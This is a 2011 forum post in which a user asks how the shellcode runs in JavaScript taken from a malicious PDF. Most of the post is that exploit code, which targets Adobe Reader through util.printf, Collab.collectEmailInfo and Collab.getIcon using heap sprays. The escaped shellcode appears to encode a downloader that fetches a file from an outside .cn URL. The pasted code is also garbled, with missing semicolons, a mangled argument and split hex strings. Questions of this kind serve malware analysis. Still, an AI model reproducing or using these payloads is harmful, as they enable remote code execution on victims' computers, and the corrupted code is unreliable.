Sunk
August 4th, 2011, 19:28
I got the below malicious JS from the very first malicious PDF I've analyzed. However, I have no clue how the shellcode is getting executed in any of these overflows. For example, the collab_email function seems to prepare shellcode then just runs
"overflow" has nothing to do with the shellcode. I can't write any JS, just read it but that apparently not well enough.
Code:
this.collabStore=Collab.collectEmailInfo({subj:"",msgverflow})
"overflow" has nothing to do with the shellcode. I can't write any JS, just read it but that apparently not well enough.
Code:
function util_printf(){
var payload=unescape("...shellcode...7FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u642F%u6D 6F%u3078%u632E%u2F6E%u7261%u6E65%u5F64%u3331%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u 7270%u6E69%u6674"
var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A"
var heapblock=nop+payload
var bigblock=unescape("%u0A0A%u0A0A"
var headersize=20
var spray=headersize+heapblock.length
while(bigblock.length<spray) {
bigblock+=bigblock
}
var fillblock=bigblock.substring(0,spray)
var block=bigblock.substring(0,bigblock.length-spray)
while(block.length+spray<0x40000) {
block=block+block+fillblock
}
var mem_array=new Array()
for(var i=0 i<1400 i++) {
mem_array[I]=block+heapblock
}
var num=129999999999999999998888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888 8888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num)
}
function collab_email() {
var shellcode=unescape("...shellcode...uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u 6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A %uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u64 2F%u6D6F%u3078%u632E%u2F6E%u7261%u6E65%u5F64%u3331%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u 5F66%u6D65%u6961%u006C"
var mem_array=new Array()
var cc=0x0c0c0c0c
var addr=0x400000
var sc_len=shellcode.length*2
var len=addr-(sc_len+0x38)
var yarsp=unescape("%u9090%u9090"
yarsp=fix_it(yarsp,len)
var count2=(cc-0x400000)/addr
for(var count=0 count<count2 count++) {
mem_array[count]=yarsp+shellcode
}
var overflow=unescape("%u0c0c%u0c0c"
while(overflow.length<44952){
overflow+=overflow
}
this.collabStore=Collab.collectEmailInfo({subj:"",msgverflow})
}
function collab_geticon() {
if(app.doc.Collab.getIcon) {
var arry=new Array()
var vvpethya=unescape("...shellcode...6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC28 3%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uF F60%u0455%u7468%u7074%u2F3A%u642F%u6D6F%u3078%u632E%u2F6E%u7261%u6E65%u5F64%u3331%u6C2F%u616F%u2E64% u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6567%u4974%u6F63%u006E"
var hWq500CN=vvpethya.length*2
var len=0x400000-(hWq500CN+0x38)
var yarsp=unescape("%u9090%u9090"
yarsp=fix_it(yarsp,len)
var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000
for(var vqcQD96y=0 vqcQD96y<p5AjK65f vqcQD96y++) {
arry[vqcQD96y]=yarsp+vvpethya
}
var tUMhNbGw=unescape("%09"
while(tUMhNbGw.length<0x4000) {
tUMhNbGw+=tUMhNbGw
}
tUMhNbGw="N."+tUMhNbGw
app.doc.Collab.getIcon(tUMhNbGw)
}
}